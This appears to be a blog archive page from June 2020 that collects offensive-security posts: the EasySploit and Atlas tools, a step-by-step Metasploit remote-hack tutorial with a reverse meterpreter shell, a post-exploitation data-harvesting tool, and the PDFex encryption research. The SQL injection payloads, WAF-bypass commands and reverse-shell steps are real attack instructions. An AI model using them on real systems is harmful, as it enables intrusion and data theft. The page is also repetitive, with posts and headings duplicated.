From Norway: juni 2020

fredag, juni 12, 2020

EasySploit: A Metasploit Automation Bash Scripts To Use Metasploit Framework Easier And Faster Than Ever

About EasySploit: EasySploit is Metasploit automation tool to use Metasploit Framework EASIER and FASTER than EVER.

EasySploit's options:

Windows --> test.exe (payload and listener)
Android --> test.apk (payload and listener)
Linux --> test.py (payload and listener)
MacOS --> test.jar (payload and listener)
Web --> test.php (payload and listener)
Scan if a target is vulnerable to ms17_010 (EnternalBlue)
Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)
Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)
Exploit Windows with a link (HTA Server)
Contact with me - My accounts

EasySploit's installation
You must install Metasploit Framework first.
For Arch Linux-based distros, enter this command: sudo pacman -S metasploit

For other Linux distros, enter these command to install Metasploit Framework: And then, enter these commands to install EasySploit:

How to use EasySploit? (EasySploit video series tutorials)

Disclaimer about EasySploit:

Usage of EASYSPLOIT for attacking targets without prior mutual consent is ILLEGAL. Developers are not responsible for any damage caused by this script. EASYSPLOIT is intented ONLY FOR EDUCATIONAL PURPOSES!!! STAY LEGAL!!!

You might like these similar tools:

You can support KALI LINUX TRICKS from Patreon.

Download EasySploit

Related word

torsdag, juni 11, 2020

Atlas - Quick SQLMap Tamper Suggester

Atlas is an open source tool that can suggest sqlmap tampers to bypass WAF/IDS/IPS, the tool is based on returned status code.

Screen

Installation

$ git clone https://github.com/m4ll0k/Atlas.git atlas
$ cd atlas
$ python atlas.py # python3+

Usage

$ python atlas.py --url http://site.com/index.php?id=Price_ASC --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

injection point (with %%inject%%):
get:

$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

post:

$ python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

headers:

$ python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

tampers concatenation:

$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v

get tampers list:

$ python atlas.py -g

Example

Run SQLMap:

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

Price_ASC') AND 8716=4837 AND ('yajr'='yajr is blocked by WAF/IDS/IPS, now trying with Atlas:

$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

At this point:

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords,...

Download Atlas

via KitPloitRelated posts

onsdag, juni 10, 2020

EasySploit: A Metasploit Automation Bash Scripts To Use Metasploit Framework Easier And Faster Than Ever

About EasySploit: EasySploit is Metasploit automation tool to use Metasploit Framework EASIER and FASTER than EVER.

EasySploit's options:

Windows --> test.exe (payload and listener)
Android --> test.apk (payload and listener)
Linux --> test.py (payload and listener)
MacOS --> test.jar (payload and listener)
Web --> test.php (payload and listener)
Scan if a target is vulnerable to ms17_010 (EnternalBlue)
Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)
Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)
Exploit Windows with a link (HTA Server)
Contact with me - My accounts

You can support KALI LINUX TRICKS from Patreon.

Download EasySploit

tirsdag, juni 09, 2020

Aircrack-ng: The Next Generation Of Aircrack

"Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks." read more...

Website: http://www.aircrack-ng.org

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Exploit-Me

"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...

Website: http://securitycompass.com/exploitme.shtml

Continue reading

mandag, juni 08, 2020

The Pillager 0.7 Release

I spent the last couple days recoding the Pillager, getting rid of bugs, optimizing code, making it more extendable and more solid overall. So this post is to release the new code. However, with that being said, the Pillager is in mass revision right now and I added some more developers to the team to add a whole host of new database attacking features as well as moving past databases and into other areas of post exploitation pillaging. Soon to be released.. As usual this tool and any tool i create is based on my issues when performing penetration tests and solves those problems.. If you have any insight or comments i will certainly take them into consideration for future releases.

For now check out Version 0.7.. Named searches and Data searches via external config files are now functioning properly as well as other bugs fixed along the way... Drop this in a BT5 VM and make sure you have your DB python stuff installed per the help docs and you should be good to go. If you are looking to use oracle you are going to have to install all the oracle nonsense from oracle or use a BT4r2 vm which has most of the needed drivers minus cxoracle which will need to be installed.

http://consolecowboys.org/pillager/pillage_0.7.zip

Ficti0n$ python pillager.py

[---] The Database Pillager (DBPillage) [---]
[---] CcLabs Release [---]
[---] Authors: Ficti0n, [---]
[---] Contributors: Steponequit [---]
[---] Version: 0.7 [---]
[---] Find Me On Twitter: ficti0n [---]
[---] Homepage: http://console-cowboys.blogspot.com [---]

Release Notes:
--Fixed bugs and optimized code
--Added Docstrings
--Fixed Named and Data searches from config files

About:
The Database Pillager is a multiplatform database tool for searching and browsing common
database platforms encountered while penetration testing. DBPillage can be used to search
for PCI/HIPAA data automatically or use DBPillage to browse databases,display data.
and search for specified tables/data instances.
DBpillage was designed as a post exploitation pillaging tool with a goal of targeted
extraction of data without the use of database platform specific GUI based tools that
are difficult to use and make my job harder.

Supported Platforms:
--------------------
-Oracle
-MSSQL
-MYSQL
-PostGreSQL

Usage Examples:
************************************************************************

For Mysql Postgres and MsSQL pillaging:
---------------------------------------
python dbPillage -a [address] -d [dbType] -u [username] -p [password]


For Oracle pillaging you need a SID connection string:
------------------------------------------------------
python dbPillage-a [address]/[sid] -d [dbType] -u [username] -p [password]


Grab some hashes and Hipaa specific:(Default is PCI)
------------------------------------
python dbPillage -a [address] -d [dbType] -u [username] -p [password] --hashes -s hipaa

Drop into a SQL CMDShell:
-------------------------
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -q

Config file specified searches:
-------------------------------
Search for data Items from inputFiles/data.txt:
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -D

Search for specific table names from inputFiles/tables.txt:
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -N

Switch Options:
---------------------
-# --hashes = grab database password hashes
-l --limit = limit the amount of rows that are searched or when displaying data (options = any number)
-s --searchType = Type of data search you want to perform (options:pci, hipaa, all)(PCI default)
-u --user = Database servers username
-p --pass = Password for the database server
-a --address = Ipaddress of the database server
-d --database = The database type you are pillageing (options: mssql,mysql,oracle,postgres)
-r --report = report format (HTML, XML, screen(default))
-N --nameSearch = Search via inputFiles/tables.txt
-D --dataSearch = Targeted data searches per inputFiles/data.txt
-q --queryShell = Drop into a SQL CMDshell in mysql or mssql

Prerequisites:
-------------
python v2 (Tested on Python 2.5.2 BT4 R2 and BT5 R3 - Oracle stuff on BT4r2 only unless you install the drivers from oracle)
cx_oracle (cx-oracle.sourceforge.net)
psycopg2 (initd.org/psycopg/download/)
MySQLdb (should be on BT by default)
pymssql (should be on BT by default)

More info

CEH: 10 Hacking Tools For Hackers

There are a lot of hacking tools available over the internet but mostly we need some of them. In this blog you'll learn about hacking tools which are typically used in the world of hacking by penetration testers.

SmartWhois

SmartWhois is an information-gathering program that allows you to find all available information about an IP address, hostname, or domain, including country, state or province, city, name of the network provider, administrator, and technical support contact information. SmartWhois is a graphical version of the basic Whois program.

SocksChain

SocksChain is a tool that gives a hacker the ability to attack through a chain of proxy servers. The main purpose of doing this is to hide the hacker's real IP address and therefore minimize the chance of detection. When a hacker works through several proxy servers in series, it's much harder to locate the hacker. Tracking the attacker's IP address through the logs of several proxy servers is complex and tedious work. If one of the proxy servers' log files is lost or incomplete, the chain is broken, and the hacker's IP address remains anonymous.

NeoTrace, VisualRoute, and VisualLookout

NeoTrace, VisualRoute, and VisualLookout are all packet-tracking tools with a GUI or visual interface. They plot the path the packets travel on a map and can visually identify the locations of routers and other internet working devices. These tools operate similarly to traceroute and perform the same information gathering; however, they provide a visual representation of the results.

Visualware's eMailTrackerPro

Visualware's eMailTrackerPro ( www.emailtrackerpro.com/ ) and MailTracking ( http://mailtracking.com/ ) are tools that allow an ethical hacker to track email messages. When you use these tools to send an email, forward an email, reply to an email, or modify an email, the resulting actions and tracks of the original email are logged. The sender is notified of all actions performed on the tracked email by an automatically generated email.

IPEye

IPEye is a TCP port scanner that can do SYN, FIN, Null, and XMAS scans. It's a command line tool.
IPEye probes the ports on a target system and responds with closed, reject, drop, or open. Closed means there is a computer on the other end, but it doesn't listen at the port. Reject means a firewall is rejecting the connection to the port (sending a reset back). Drop means a firewall is dropping everything to the port, or there is no computer on the other end. Open means some kind of service is listening at the port. These responses help a hacker identify what type of system is responding.

IPSecScan

IPSecScan is a tool that can scan either a single IP address or a range of addresses looking for systems that are IPSec enabled that means the system has IPSec enabled while disabled means that it either has IPSec disabled, the compatibility issue or the configuration issue that not reveal to you that it has IPSec enabled. Indeterminable means that the scanner isn't sure if IPSec is enabled or disabled.

Icmpenum

Icmpenum uses not only ICMP Echo packets to probe networks, but also ICMP Timestamp and ICMP Information packets. Furthermore, it supports spoofing and sniffing for reply packets. Icmpenum is great for scanning networks when the firewall blocks ICMP Echo packets but fails to block Timestamp or Information packets.

SNMP Scanner

SNMP Scanner allows you to scan a range or list of hosts performing ping, DNS, and Simple Network Management Protocol (SNMP) queries. This tool helps you to find out the current information about the device of SNMP nodes in the given network.

hping2 tool

The hping2 tool is notable because it contains a host of other features besides OS fingerprinting such as TCP, User Datagram Protocol (UDP), ICMP, and raw-IP ping protocols, traceroute mode, and the ability to send files between the source and target system.

THC-Scan, PhoneSweep, and TeleSweep

THC-Scan, PhoneSweep, and TeleSweep are tools that identify phone numbers and can dial a target to make a connection with a computer modem. These tools generally work by using a predetermined list of common usernames and passwords in an attempt to gain access to the system. Most remote-access dial-in connections aren't secured with a password or use very rudimentary security.

lørdag, juni 06, 2020

How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?

These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.

Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

Related posts

PDFex: Major Security Flaws In PDF Encryption

After investigating the security of PDF signatures, we had a deeper look at PDF encryption. In cooperation with our friends from Münster University of Applied Sciences, we discovered severe weaknesses in the PDF encryption standard which lead to full plaintext exfiltration in an active-attacker scenario.

To guarantee confidentiality, PDF files can be encrypted. This enables the secure transfer and storing of sensitive documents without any further protection mechanisms.

The key management between the sender and recipient may be password based (the recipient must know the password used by the sender, or it must be transferred to them through a secure channel) or public key based (i.e., the sender knows the X.509 certificate of the recipient).

In this research, we analyze the security of encrypted PDF files and show how an attacker can exfiltrate the content without having the corresponding keys.

So what is the problem?

The security problems known as PDFex discovered by our research can be summarized as follows:

Even without knowing the corresponding password, the attacker possessing an encrypted PDF file can manipulate parts of it.
More precisely, the PDF specification allows the mixing of ciphertexts with plaintexts. In combination with further PDF features which allow the loading of external resources via HTTP, the attacker can run direct exfiltration attacks once a victim opens the file.
PDF encryption uses the Cipher Block Chaining (CBC) encryption mode with no integrity checks, which implies ciphertext malleability.
This allows us to create self-exfiltrating ciphertext parts using CBC malleability gadgets. We use this technique not only to modify existing plaintext but to construct entirely new encrypted objects.

Who uses PDF Encryption?

PDF encryption is widely used. Prominent companies like Canon and Samsung apply PDF encryption in document scanners to protect sensitive information.

Further providers like IBM offer PDF encryption services for PDF documents and other data (e.g., confidential images) by wrapping them into PDF. PDF encryption is also supported in different medical products to transfer health records, for example Innoport, Ricoh, Rimage.

Due to the shortcomings regarding the deployment and usability of S/MIME and OpenPGP email encryption, some organizations use special gateways to automatically encrypt email messages as encrypted PDF attachments, for example CipherMail, Encryptomatic, NoSpamProxy. The password to decrypt these PDFs can be transmitted over a second channel, such as a text message (i.e., SMS).

Technical details of the attacks

We developed two different attack classes on PDF Encryption: Direct Exfiltration and CBC Gadgets.

Attack 1: Direct Exfiltration (Attack A)

The idea of this attack is to abuse the partial encryption feature by modifying an encrypted PDF file. As soon as the file is opened and decrypted by the victim sensitive content is sent to the attacker. Encrpyted PDF files does not have integrity protection. Thus, an attacker can modify the structure of encrypted PDF documents, add unencrypted objects, or wrap encrypted parts into a context controlled the attacker.

In the given example, the attacker abuses the flexibility of the PDF encryption standard to define certain objects as unencrypted. The attacker modifies the Encrypt dictionary (6 0 obj) in a way that the document is partially encrypted – all streams are left AES256 encrypted while strings are defined as unencrypted by setting the Identity filter. Thus, the attacker can freely modify strings in the document and add additional objects containing unencrypted strings.

The content to be exfiltrated is left encrypted, see Contents (4 0 obj) and EmbeddedFile (5 0 obj). The most relevant object for the attack is the definition of an Action, which can submit a form, invoke a URL, or execute JavaScript. The Action references the encrypted parts as content to be included in requests and can thereby be used to exfiltrate their plaintext to an arbitrary URL. The execution of the Action can be triggered automatically once the PDF file is opened (after the decryption) or via user interaction, for example, by clicking within the document.

This attack has three requirements to be successful. While all requirements are PDF standard compliant, they have not necessarily been implemented by every PDF application:

Partial encryption: Partially encrypted documents based on Crypt Filters like the Identity filter or based on other less supported methods like the None encryption algorithm.
Cross-object references: It must be possible to reference and access encrypted string or stream objects from unencrypted attacker-controlled parts of the PDF document.
Exfiltration channel: One of the interactive features allowing the PDF reader to communicate via Internet must exist, with or without user interaction. Such Features are PDF Forms, Hyperlinks, or JavaScript.

Please note that the attack does not abuse any cryptographic issues, so that there are no requirements to the underlying encryption algorithm (e.g., AES) or the encryption mode (e.g., CBC).

In the following, we show three techniques how an attack can exfiltrate the content.

Exfiltration via PDF Forms (A1)

The PDF standard allows a document's encrypted streams or strings to be defined as values of a PDF form to be submitted to an external server. This can be done by referencing their object numbers as the values of the form fields within the Catalog object, as shown in the example on the left side. The value of the PDF form points to the encrypted data stored in 2 0 obj.

To make the form auto-submit itself once the document is opened and decrypted, an OpenAction can be applied. Note that the object which contains the URL (http://p.df) for form submission is not encrypted and completely controlled by the attacker. As a result, as soon as the victim opens the PDF file and decrypts it, the OpenAction will be executed by sending the decrypted content of 2 0 obj to (http://p.df).

Exfiltration via Hyperlinks (A2)

If forms are not supported by the PDF viewer, there is a second method to achieve direct exfiltration of a plaintext. The PDF standard allows setting a "base" URI in the Catalog object used to resolve all relative URIs in the document.

This enables an attacker to define the encrypted part as a relative URI to be leaked to the attacker's web server. Therefore the base URI will be prepended to each URI called within the PDF file. In the given example, we set the base URI to (http://p.df).

The plaintext can be leaked by clicking on a visible element such as a link, or without user interaction by defining a URI Action to be automatically performed once the document is opened.

In the given example, we define the base URI within an Object Stream, which allows objects of arbitrary type to be embedded within a stream. This construct is a standard compliant method to put unencrypted and encrypted strings within the same document. Note that for this attack variant, only strings can be exfiltrated due to the specification, but not streams; (relative) URIs must be of type string. However, fortunately (from an attacker's point of view), all encrypted streams in a PDF document can be re-written and defined as hex-encoded strings using the hexadecimal string notation.

Nevertheless, the attack has some notable drawbacks compared to Exfiltration via PDF Forms:

The attack is not silent. While forms are usually submitted in the background (by the PDF viewer itself), to open hyperlinks, most applications launch an external web browser.
Compared to HTTP POST, the length of HTTP GET requests, as invoked by hyperlinks, is limited to a certain size.
PDF viewers do not necessarily URL-encode binary strings, making it difficult to leak compressed data.

Exfiltration via JavaScript (A3)

The PDF JavaScript reference allows JavaScript code within a PDF document to directly access arbitrary string/stream objects within the document and leak them with functions such as *getDataObjectContents* or *getAnnots*.

In the given example, the stream object 7 is given a Name (x), which is used to reference and leak it with a JavaScript action that is automatically triggered once the document is opened. The attack has some advantages compared to Exfiltration via PDF Forms and Exfiltration via Hyperlinks, such as the flexibility of an actual programming language.

It must, however, be noted that – while JavaScript actions are part of the PDF specification – various PDF applications have limited JavaScript support or disable it by default (e.g., Perfect PDF Reader).

Attack 2: CBC Gadgets (Attack B)

Not all PDF viewers support partially encrypted documents, which makes them immune to direct exfiltration attacks. However, because PDF encryption generally defines no authenticated encryption, attackers may use CBC gadgets to exfiltrate plaintext. The basic idea is to modify the plaintext data directly within an encrypted object, for example, by prefixing it with an URL. The CBC gadget attack, thus does not necessarily require cross-object references.

Note that all gadget-based attacks modify existing encrypted content or create new content from CBC gadgets. This is possible due to the malleability property of the CBC encryption mode.

This attack has two necessary preconditions:

Known plaintext: To manipulate an encrypted object using CBC gadgets, a known plaintext segment is necessary. For AESV3 – the most recent encryption algorithm – this plain- text is always given by the Perms entry. For older versions, known plaintext from the object to be exfiltrated is necessary.
Exfiltration channel: One of the interactive features: PDF Forms or Hyperlinks.

These requirements differ from those of the direct exfiltration attacks, because the attacks are applied "through" the encryption layer and not outside of it.

Exfiltration via PDF Forms (B1)

As described above, PDF allows the submission of string and stream objects to a web server. This can be used in conjunction with CBC gadgets to leak the plaintext to an attacker-controlled server, even if partial encryption is not allowed.

A CBC gadget constructed from the known plaintext can be used as the submission URL, as shown in the example on the left side. The construction of this particular URL gadget is challenging. As PDF encryption uses PKCS#5 padding, constructing the URL using a single gadget from the known Perms plaintext is difficult, as the last 4 bytes that would need to contain the padding are unknown.

However, we identified two techniques to solve this. On the one hand, we can take the last block of an unknown ciphertext and append it to our constructed URL, essentially reusing the correct PKCS#5 padding of the unknown plaintext. Unfortunately, this would introduce 20 bytes of random data from the gadgeting process and up to 15 bytes of the unknown plaintext to the end of our URL.

On the other hand, the PDF standard allows the execution of multiple OpenActions in a document, allowing us to essentially guess the last padding byte of the Perms value. This is possible by iterating over all 256 possible values of the last plaintext byte to get 0x01, resulting in a URL with as little random as possible (3 bytes). As a limitation, if one of the 3 random bytes contains special characters, the form submission URL might break.

Exfiltration via Hyperlinks (B2)

Using CBC gadgets, encrypted plaintext can be prefixed with one or more chosen plaintext blocks. An attacker can construct URLs in the encrypted PDF document that contain the plaintext to exfiltrate. This attack is similar to the exfiltration hyperlink attack (A2). However, it does not require the setting of a "base" URI in plaintext to achieve exfiltration.

The same limitations described for direct exfiltration based on links (A2) apply. Additionally, the constructed URL contains random bytes from the gadgeting process, which may prevent the exfiltration in some cases.

Exfiltration via Half-Open Object Streams (B3)

While CBC gadgets are generally restricted to the block size of the underlying block cipher – and more specifically the length of the known plaintext, in this case, 12 bytes – longer chosen plaintexts can be constructed using compression. Deflate compression, which is available as a filter for PDF streams, allows writing both uncompressed and compressed segments into the same stream. The compressed segments can reference back to the uncompressed segments and achieve the repetition of byte strings from these segments. These backreferences allow us to construct longer continuous plaintext blocks than CBC gadgets would typically allow for. Naturally, the first uncompressed occurrence of a byte string still appears in the decompressed result. Additionally, if the compressed stream is constructed using gadgets, each gadget generates 20 random bytes that appear in the decompressed stream. A non-trivial obstacle is to keep the PDF viewer from interpreting these fragments in the decompressed stream. While hiding the fragments in comments is possible, PDF comments are single-line and are thus susceptible to newline characters in the random bytes. Therefore, in reality, the length of constructed compressed plaintexts is limited.

To deal with this caveat, an attacker can use ObjectStreams which allow the storage of arbitrary objects inside a stream. The attacker uses an object stream to define new objects using CBC gadgets. An object stream always starts with a header of space-separated integers which define the object number and the byte offset of the object inside the stream. The dictionary of an object stream contains the key First which defines the byte offset of the first object inside the stream. An attacker can use this value to create a comment of arbitrary size by setting it to the first byte after their comment.

Using compression has the additional advantage that compressed, encrypted plaintexts from the original document can be embedded into the modified object. As PDF applications often create compressed streams, these can be incorporated into the attacker-created compressed object and will therefore be decompressed by the PDF applications. This is a significant advantage over leaking the compressed plaintexts without decompression as the compressed bytes are often not URL-encoded correctly (or at all) by the PDF applications, leading to incomplete or incomprehensible plaintexts. However, due to the inner workings of the deflate algorithms, a complete compressed plaintext can only be prefixed with new segments, but not postfixed. Therefore, a string created using this technique cannot be terminated using a closing bracket, leading to a half-open string. This is not a standard compliant construction, and PDF viewers should not accept it. However, a majority of PDF viewers accept it anyway.

Evaluation

During our security analysis, we identified two standard compliant attack classes which break the confidentiality of encrypted PDF files. Our evaluation shows that among 27 widely-used PDF viewers, all of them are vulnerable to at least one of those attacks, including popular software such as Adobe Acrobat, Foxit Reader, Evince, Okular, Chrome, and Firefox.

You can find the detailed results of our evaluation here.

What is the root cause of the problem?

First, many data formats allow to encrypt only parts of the content (e.g., XML, S/MIME, PDF). This encryption flexibility is difficult to handle and allows an attacker to include their own content, which can lead to exfiltration channels.

Second, when it comes to encryption, AES-CBC – or encryption without integrity protection in general – is still widely supported. Even the latest PDF 2.0 specification released in 2017 still relies on it. This must be fixed in future PDF specifications and any other format encryption standard, without enabling backward compatibility that would re-enable CBC gadgets.

A positive example is JSON Web Encryption standard, which learned from the CBC attacks on XML and does not support any encryption algorithm without integrity protection.

Authors of this Post

Jens Müller
Fabian Ising
Vladislav Mladenov
Christian Mainka
Sebastian Schinzel
Jörg Schwenk

Acknowledgements

Many thanks to the CERT-Bund team for the great support during the responsible disclosure process.

fredag, juni 12, 2020

Related word

torsdag, juni 11, 2020

onsdag, juni 10, 2020

Read more

tirsdag, juni 09, 2020

Read more

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

STEPS TO FOLLOW

Related links

mandag, juni 08, 2020

SmartWhois

SocksChain

NeoTrace, VisualRoute, and VisualLookout

Visualware's eMailTrackerPro

IPEye

IPSecScan

Icmpenum

SNMP Scanner

hping2 tool

THC-Scan, PhoneSweep, and TeleSweep

Read more

lørdag, juni 06, 2020

So what is the problem?

Who uses PDF Encryption?

Technical details of the attacks

Attack 1: Direct Exfiltration (Attack A)

Exfiltration via PDF Forms (A1)

Exfiltration via Hyperlinks (A2)

Exfiltration via JavaScript (A3)

Attack 2: CBC Gadgets (Attack B)

Exfiltration via PDF Forms (B1)

Exfiltration via Hyperlinks (B2)

Exfiltration via Half-Open Object Streams (B3)

Evaluation

What is the root cause of the problem?

Authors of this Post

Acknowledgements

More articles

Bloggarkiv

Initiatives

Video